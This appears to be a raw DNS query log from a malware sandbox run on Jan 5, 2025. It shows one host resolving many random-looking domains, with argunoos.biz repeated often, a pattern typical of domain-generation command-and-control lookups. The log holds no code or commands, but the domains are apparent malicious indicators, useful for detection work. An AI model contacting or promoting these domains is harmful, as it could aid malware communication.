Jan 5, 2025 10:51:27.382525921 CET	192.168.2.4	1.1.1.1	0xbd0c	Standard query (0)	lboecwnxy.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:27.413403034 CET	192.168.2.4	1.1.1.1	0xfe06	Standard query (0)	lboecwnxy.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:27.479934931 CET	192.168.2.4	1.1.1.1	0x7b32	Standard query (0)	mqhsureufjf.vg	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:27.552288055 CET	192.168.2.4	1.1.1.1	0x91bf	Standard query (0)	argunoos.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:27.565413952 CET	192.168.2.4	1.1.1.1	0xc7bf	Standard query (0)	argunoos.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:28.115403891 CET	192.168.2.4	1.1.1.1	0xf64a	Standard query (0)	wxoqukaoenpp.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:28.304488897 CET	192.168.2.4	1.1.1.1	0x882e	Standard query (0)	wxoqukaoenpp.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:28.445031881 CET	192.168.2.4	1.1.1.1	0x2706	Standard query (0)	hcwuaqmw.vg	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:28.483921051 CET	192.168.2.4	1.1.1.1	0x7d23	Standard query (0)	argunoos.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:28.494461060 CET	192.168.2.4	1.1.1.1	0x84d5	Standard query (0)	argunoos.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:28.554233074 CET	192.168.2.4	1.1.1.1	0xd282	Standard query (0)	keyoieyaauo.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:28.603827953 CET	192.168.2.4	1.1.1.1	0x138d	Standard query (0)	keyoieyaauo.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:28.711354971 CET	192.168.2.4	1.1.1.1	0x5921	Standard query (0)	opszeqbfeah.vg	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:28.751393080 CET	192.168.2.4	1.1.1.1	0xe3b2	Standard query (0)	argunoos.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:28.764868021 CET	192.168.2.4	1.1.1.1	0xca6	Standard query (0)	argunoos.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:28.820481062 CET	192.168.2.4	1.1.1.1	0xe3c5	Standard query (0)	xaprduf.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:28.832379103 CET	192.168.2.4	1.1.1.1	0x7a60	Standard query (0)	xaprduf.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:28.929713011 CET	192.168.2.4	1.1.1.1	0xebae	Standard query (0)	oivgkqkubfq.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:28.950223923 CET	192.168.2.4	1.1.1.1	0x59c1	Standard query (0)	oivgkqkubfq.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:29.007294893 CET	192.168.2.4	1.1.1.1	0x4927	Standard query (0)	yhhsuyuy.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:29.027510881 CET	192.168.2.4	1.1.1.1	0xab40	Standard query (0)	yhhsuyuy.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:29.116770029 CET	192.168.2.4	1.1.1.1	0x1a76	Standard query (0)	yqufyzcii.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:30.132445097 CET	192.168.2.4	1.1.1.1	0x1a76	Standard query (0)	yqufyzcii.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:30.646532059 CET	192.168.2.4	1.1.1.1	0x89d1	Standard query (0)	yqufyzcii.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:30.804281950 CET	192.168.2.4	1.1.1.1	0x2da9	Standard query (0)	aokmmn.ws	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:30.861809015 CET	192.168.2.4	1.1.1.1	0x61df	Standard query (0)	argunoos.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:30.871009111 CET	192.168.2.4	1.1.1.1	0xdbe3	Standard query (0)	argunoos.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:30.929615021 CET	192.168.2.4	1.1.1.1	0xcfb	Standard query (0)	gynpqeeyvwhe.ws	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:31.039666891 CET	192.168.2.4	1.1.1.1	0x755	Standard query (0)	argunoos.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:31.047823906 CET	192.168.2.4	1.1.1.1	0xdf3f	Standard query (0)	argunoos.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:31.101301908 CET	192.168.2.4	1.1.1.1	0x5c1c	Standard query (0)	ioxiokj.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:31.286446095 CET	192.168.2.4	1.1.1.1	0x5c8	Standard query (0)	ioxiokj.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:31.429270029 CET	192.168.2.4	1.1.1.1	0x8d8	Standard query (0)	ymvkkukyb.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:31.732928038 CET	192.168.2.4	1.1.1.1	0x7ed2	Standard query (0)	ymvkkukyb.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:31.960704088 CET	192.168.2.4	1.1.1.1	0xe51d	Standard query (0)	bcoig.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:32.008930922 CET	192.168.2.4	1.1.1.1	0x630f	Standard query (0)	bcoig.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:32.101226091 CET	192.168.2.4	1.1.1.1	0xfd55	Standard query (0)	uyefukympeo.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:32.119124889 CET	192.168.2.4	1.1.1.1	0xc61	Standard query (0)	uyefukympeo.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:32.179778099 CET	192.168.2.4	1.1.1.1	0xe008	Standard query (0)	mgamx.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:32.190836906 CET	192.168.2.4	1.1.1.1	0xa628	Standard query (0)	mgamx.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:32.241695881 CET	192.168.2.4	1.1.1.1	0xee3f	Standard query (0)	mkudp.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:32.255351067 CET	192.168.2.4	1.1.1.1	0x95ba	Standard query (0)	mkudp.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:32.304318905 CET	192.168.2.4	1.1.1.1	0xc7a2	Standard query (0)	tggrkab.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:32.331029892 CET	192.168.2.4	1.1.1.1	0x2c4	Standard query (0)	tggrkab.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:32.382500887 CET	192.168.2.4	1.1.1.1	0x3146	Standard query (0)	siwoanvgf.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:32.410973072 CET	192.168.2.4	1.1.1.1	0x9ab0	Standard query (0)	siwoanvgf.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:32.500488997 CET	192.168.2.4	1.1.1.1	0x6680	Standard query (0)	ositfub.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:32.525536060 CET	192.168.2.4	1.1.1.1	0x72fc	Standard query (0)	ositfub.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:32.586200953 CET	192.168.2.4	1.1.1.1	0xf25a	Standard query (0)	xwueeim.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:32.632436991 CET	192.168.2.4	1.1.1.1	0x929	Standard query (0)	xwueeim.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:32.726325989 CET	192.168.2.4	1.1.1.1	0xb81b	Standard query (0)	jqkjllx.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:32.739052057 CET	192.168.2.4	1.1.1.1	0x58a7	Standard query (0)	jqkjllx.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:32.789243937 CET	192.168.2.4	1.1.1.1	0x807	Standard query (0)	qasgycqp.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:32.801213980 CET	192.168.2.4	1.1.1.1	0xb3bc	Standard query (0)	qasgycqp.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:32.867481947 CET	192.168.2.4	1.1.1.1	0x1e66	Standard query (0)	qxlcjyk.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:33.563939095 CET	192.168.2.4	1.1.1.1	0x407f	Standard query (0)	qxlcjyk.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:33.789094925 CET	192.168.2.4	1.1.1.1	0x398b	Standard query (0)	kakiocy.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:33.813064098 CET	192.168.2.4	1.1.1.1	0x1be	Standard query (0)	kakiocy.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:33.866730928 CET	192.168.2.4	1.1.1.1	0xe11b	Standard query (0)	chllqgthic.ws	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:33.895935059 CET	192.168.2.4	1.1.1.1	0x4b0d	Standard query (0)	argunoos.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:33.910968065 CET	192.168.2.4	1.1.1.1	0xee5e	Standard query (0)	argunoos.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:33.961967945 CET	192.168.2.4	1.1.1.1	0x788d	Standard query (0)	zfiwopauawbug.ws	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:34.011029005 CET	192.168.2.4	1.1.1.1	0x3ecd	Standard query (0)	argunoos.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:34.022378922 CET	192.168.2.4	1.1.1.1	0x22eb	Standard query (0)	argunoos.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:34.070802927 CET	192.168.2.4	1.1.1.1	0x23f5	Standard query (0)	sqiiggeifsi.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:34.108936071 CET	192.168.2.4	1.1.1.1	0xcf50	Standard query (0)	sqiiggeifsi.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:34.163460016 CET	192.168.2.4	1.1.1.1	0x8ffe	Standard query (0)	swwayobyywm.ws	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:34.191365004 CET	192.168.2.4	1.1.1.1	0x5918	Standard query (0)	argunoos.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:34.201735973 CET	192.168.2.4	1.1.1.1	0x5fb	Standard query (0)	argunoos.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:34.257381916 CET	192.168.2.4	1.1.1.1	0x37b9	Standard query (0)	yykatcufguc.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:34.270944118 CET	192.168.2.4	1.1.1.1	0x9aea	Standard query (0)	yykatcufguc.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:34.319849968 CET	192.168.2.4	1.1.1.1	0x460b	Standard query (0)	yeymyax.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:34.366964102 CET	192.168.2.4	1.1.1.1	0xc922	Standard query (0)	yeymyax.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:34.414006948 CET	192.168.2.4	1.1.1.1	0x1a4d	Standard query (0)	gkuyweyisuo.vg	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:34.450829983 CET	192.168.2.4	1.1.1.1	0x33e5	Standard query (0)	argunoos.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:34.465374947 CET	192.168.2.4	1.1.1.1	0xb562	Standard query (0)	argunoos.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:34.509275913 CET	192.168.2.4	1.1.1.1	0x4d68	Standard query (0)	mpksw.ws	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:34.560250998 CET	192.168.2.4	1.1.1.1	0xf128	Standard query (0)	argunoos.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:34.696490049 CET	192.168.2.4	1.1.1.1	0x9466	Standard query (0)	argunoos.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:34.753221989 CET	192.168.2.4	1.1.1.1	0x880a	Standard query (0)	nplluaghwzgwvn.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:35.644154072 CET	192.168.2.4	1.1.1.1	0x80d8	Standard query (0)	nplluaghwzgwvn.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:35.711195946 CET	192.168.2.4	1.1.1.1	0xa148	Standard query (0)	siugw.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:35.723428011 CET	192.168.2.4	1.1.1.1	0x1957	Standard query (0)	siugw.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:35.773236990 CET	192.168.2.4	1.1.1.1	0xf177	Standard query (0)	olmzb.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:35.783783913 CET	192.168.2.4	1.1.1.1	0xa761	Standard query (0)	olmzb.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:35.835355043 CET	192.168.2.4	1.1.1.1	0xc433	Standard query (0)	qxcggyumaqa.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:35.957194090 CET	192.168.2.4	1.1.1.1	0xf1c2	Standard query (0)	qxcggyumaqa.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:36.023413897 CET	192.168.2.4	1.1.1.1	0xd7c8	Standard query (0)	osotuabnnisil.vg	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:36.086221933 CET	192.168.2.4	1.1.1.1	0xd97e	Standard query (0)	argunoos.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:36.097507954 CET	192.168.2.4	1.1.1.1	0x87c5	Standard query (0)	argunoos.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:36.148905993 CET	192.168.2.4	1.1.1.1	0x30fa	Standard query (0)	scpiyyzar.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:36.171144009 CET	192.168.2.4	1.1.1.1	0x924e	Standard query (0)	scpiyyzar.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:36.226387024 CET	192.168.2.4	1.1.1.1	0xf7f4	Standard query (0)	qhvob.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:36.238493919 CET	192.168.2.4	1.1.1.1	0xd2ca	Standard query (0)	qhvob.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:36.289798975 CET	192.168.2.4	1.1.1.1	0x38fa	Standard query (0)	neyzcipedtypk.ws	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:36.323050022 CET	192.168.2.4	1.1.1.1	0x7fa7	Standard query (0)	argunoos.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:36.331969976 CET	192.168.2.4	1.1.1.1	0x200	Standard query (0)	argunoos.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:36.382813931 CET	192.168.2.4	1.1.1.1	0xfc3e	Standard query (0)	miijapg.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:36.394804955 CET	192.168.2.4	1.1.1.1	0x7d64	Standard query (0)	miijapg.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:36.445626974 CET	192.168.2.4	1.1.1.1	0xc7e8	Standard query (0)	pgrxczoyghu.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:36.461302042 CET	192.168.2.4	1.1.1.1	0xcdb6	Standard query (0)	pgrxczoyghu.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:36.523545027 CET	192.168.2.4	1.1.1.1	0x917e	Standard query (0)	ajkkoojsibc.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:36.716275930 CET	192.168.2.4	1.1.1.1	0xc623	Standard query (0)	ajkkoojsibc.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:36.851166010 CET	192.168.2.4	1.1.1.1	0x286d	Standard query (0)	ywarwjp.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:36.946970940 CET	192.168.2.4	1.1.1.1	0x9896	Standard query (0)	ywarwjp.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:37.867254972 CET	192.168.2.4	1.1.1.1	0xd082	Standard query (0)	eumfmwcv.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:38.150147915 CET	192.168.2.4	1.1.1.1	0x4750	Standard query (0)	eumfmwcv.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:38.194814920 CET	192.168.2.4	1.1.1.1	0x6eae	Standard query (0)	fnvbwxaeqwk.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:38.467797995 CET	192.168.2.4	1.1.1.1	0x84b9	Standard query (0)	fnvbwxaeqwk.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:38.540946960 CET	192.168.2.4	1.1.1.1	0x7053	Standard query (0)	uiwvomwyls.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:38.560542107 CET	192.168.2.4	1.1.1.1	0xa38e	Standard query (0)	uiwvomwyls.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:38.632949114 CET	192.168.2.4	1.1.1.1	0x5779	Standard query (0)	xyycdotjkmk.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:38.660851955 CET	192.168.2.4	1.1.1.1	0xf6b2	Standard query (0)	xyycdotjkmk.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:38.744942904 CET	192.168.2.4	1.1.1.1	0x8078	Standard query (0)	ncwjgaqmjup.vg	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:38.764914036 CET	192.168.2.4	1.1.1.1	0x1f42	Standard query (0)	argunoos.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:38.780942917 CET	192.168.2.4	1.1.1.1	0x927d	Standard query (0)	argunoos.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:38.835529089 CET	192.168.2.4	1.1.1.1	0x4a5b	Standard query (0)	ekuwiro.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:38.863154888 CET	192.168.2.4	1.1.1.1	0xe1e7	Standard query (0)	ekuwiro.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:38.930049896 CET	192.168.2.4	1.1.1.1	0xf423	Standard query (0)	qvdkkmkcjaksq.ws	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:39.010946989 CET	192.168.2.4	1.1.1.1	0xfc31	Standard query (0)	argunoos.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:39.020025015 CET	192.168.2.4	1.1.1.1	0x3fc2	Standard query (0)	argunoos.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:39.069976091 CET	192.168.2.4	1.1.1.1	0xf16	Standard query (0)	rocaq.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:39.092941999 CET	192.168.2.4	1.1.1.1	0xdf0f	Standard query (0)	rocaq.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:39.148093939 CET	192.168.2.4	1.1.1.1	0x1e7f	Standard query (0)	rniseaoommyab.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:39.160944939 CET	192.168.2.4	1.1.1.1	0x9661	Standard query (0)	rniseaoommyab.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:39.210618019 CET	192.168.2.4	1.1.1.1	0xf4f	Standard query (0)	zuwasakwemgam.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:39.495707035 CET	192.168.2.4	1.1.1.1	0xcc19	Standard query (0)	zuwasakwemgam.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:39.820174932 CET	192.168.2.4	1.1.1.1	0x8971	Standard query (0)	rukftuq.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:39.832355022 CET	192.168.2.4	1.1.1.1	0xdb11	Standard query (0)	rukftuq.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:39.883191109 CET	192.168.2.4	1.1.1.1	0x2930	Standard query (0)	ircwazonobwpf.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:39.914858103 CET	192.168.2.4	1.1.1.1	0x960f	Standard query (0)	ircwazonobwpf.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:40.076507092 CET	192.168.2.4	1.1.1.1	0xfa92	Standard query (0)	poybdufoqpr.vg	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:40.108634949 CET	192.168.2.4	1.1.1.1	0xc9e6	Standard query (0)	argunoos.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:40.123074055 CET	192.168.2.4	1.1.1.1	0xd7cf	Standard query (0)	argunoos.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:40.180412054 CET	192.168.2.4	1.1.1.1	0x549	Standard query (0)	whgzwaqywdl.ws	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:40.219120026 CET	192.168.2.4	1.1.1.1	0xa962	Standard query (0)	argunoos.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:40.227220058 CET	192.168.2.4	1.1.1.1	0xe8ba	Standard query (0)	argunoos.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:40.276230097 CET	192.168.2.4	1.1.1.1	0xd5e8	Standard query (0)	iwzishghfg.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:40.556632996 CET	192.168.2.4	1.1.1.1	0x867b	Standard query (0)	iwzishghfg.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:40.788944960 CET	192.168.2.4	1.1.1.1	0xb280	Standard query (0)	dlkeoy.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:41.082875967 CET	192.168.2.4	1.1.1.1	0xfe17	Standard query (0)	dlkeoy.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:41.399076939 CET	192.168.2.4	1.1.1.1	0x372e	Standard query (0)	uvyeerkejumjc.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:41.411750078 CET	192.168.2.4	1.1.1.1	0xf48a	Standard query (0)	uvyeerkejumjc.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:41.460947990 CET	192.168.2.4	1.1.1.1	0xd3d9	Standard query (0)	meovgkpxogbmum.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:41.488856077 CET	192.168.2.4	1.1.1.1	0x6cb5	Standard query (0)	meovgkpxogbmum.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:41.554960966 CET	192.168.2.4	1.1.1.1	0xbc4	Standard query (0)	czeocbmiquufi.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:41.567341089 CET	192.168.2.4	1.1.1.1	0xee38	Standard query (0)	czeocbmiquufi.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:41.618292093 CET	192.168.2.4	1.1.1.1	0x977d	Standard query (0)	mwemqmaug.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:41.631256104 CET	192.168.2.4	1.1.1.1	0x62a6	Standard query (0)	mwemqmaug.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:41.679884911 CET	192.168.2.4	1.1.1.1	0xa486	Standard query (0)	iklqjegxws.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:41.752382040 CET	192.168.2.4	1.1.1.1	0x5e44	Standard query (0)	iklqjegxws.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:41.836323977 CET	192.168.2.4	1.1.1.1	0x5a46	Standard query (0)	mkekmwixqoqtxd.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:42.113009930 CET	192.168.2.4	1.1.1.1	0x4d96	Standard query (0)	mkekmwixqoqtxd.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:42.211843014 CET	192.168.2.4	1.1.1.1	0x27ab	Standard query (0)	qnqdegcawewks.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:42.307416916 CET	192.168.2.4	1.1.1.1	0x7da7	Standard query (0)	qnqdegcawewks.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:42.351263046 CET	192.168.2.4	1.1.1.1	0xe319	Standard query (0)	wwgysqikiu.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:42.395571947 CET	192.168.2.4	1.1.1.1	0x31ff	Standard query (0)	wwgysqikiu.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:42.479420900 CET	192.168.2.4	1.1.1.1	0xe09d	Standard query (0)	tgvpzi.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:42.496959925 CET	192.168.2.4	1.1.1.1	0x9991	Standard query (0)	tgvpzi.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:42.538739920 CET	192.168.2.4	1.1.1.1	0x893e	Standard query (0)	imetq.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:42.820956945 CET	192.168.2.4	1.1.1.1	0x879b	Standard query (0)	imetq.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:42.898277998 CET	192.168.2.4	1.1.1.1	0x3901	Standard query (0)	gdxigaok.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:42.910830021 CET	192.168.2.4	1.1.1.1	0xd11b	Standard query (0)	gdxigaok.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:42.961529970 CET	192.168.2.4	1.1.1.1	0x1a18	Standard query (0)	kumzrl.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:42.973387957 CET	192.168.2.4	1.1.1.1	0x49b0	Standard query (0)	kumzrl.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:43.056943893 CET	192.168.2.4	1.1.1.1	0xd531	Standard query (0)	ybceswdbw.vg	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:43.096936941 CET	192.168.2.4	1.1.1.1	0xcecc	Standard query (0)	argunoos.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:43.108943939 CET	192.168.2.4	1.1.1.1	0x1c2b	Standard query (0)	argunoos.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:43.148745060 CET	192.168.2.4	1.1.1.1	0x97a1	Standard query (0)	wffcc.ws	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:43.240946054 CET	192.168.2.4	1.1.1.1	0xb16b	Standard query (0)	argunoos.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:43.250581980 CET	192.168.2.4	1.1.1.1	0x562f	Standard query (0)	argunoos.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:43.304946899 CET	192.168.2.4	1.1.1.1	0xefa4	Standard query (0)	eupjx.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:43.328121901 CET	192.168.2.4	1.1.1.1	0x4520	Standard query (0)	eupjx.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:43.384958982 CET	192.168.2.4	1.1.1.1	0x7b3d	Standard query (0)	rwqsyyerzsawpu.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:43.396518946 CET	192.168.2.4	1.1.1.1	0x9a08	Standard query (0)	rwqsyyerzsawpu.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:43.444749117 CET	192.168.2.4	1.1.1.1	0x759d	Standard query (0)	yoygpqq.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:43.467933893 CET	192.168.2.4	1.1.1.1	0xee30	Standard query (0)	yoygpqq.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:43.541383982 CET	192.168.2.4	1.1.1.1	0x96a6	Standard query (0)	nkancquzytf.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:43.917227030 CET	192.168.2.4	1.1.1.1	0x312e	Standard query (0)	nkancquzytf.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:44.054433107 CET	192.168.2.4	1.1.1.1	0xcece	Standard query (0)	gcmctuy.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:44.081677914 CET	192.168.2.4	1.1.1.1	0xfce3	Standard query (0)	gcmctuy.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:44.150377035 CET	192.168.2.4	1.1.1.1	0x4961	Standard query (0)	mgqzcurggow.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:44.163927078 CET	192.168.2.4	1.1.1.1	0xbaa5	Standard query (0)	mgqzcurggow.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:44.211216927 CET	192.168.2.4	1.1.1.1	0xeb8	Standard query (0)	xomapu.nu	A (IP address)	IN (0x0001)	false
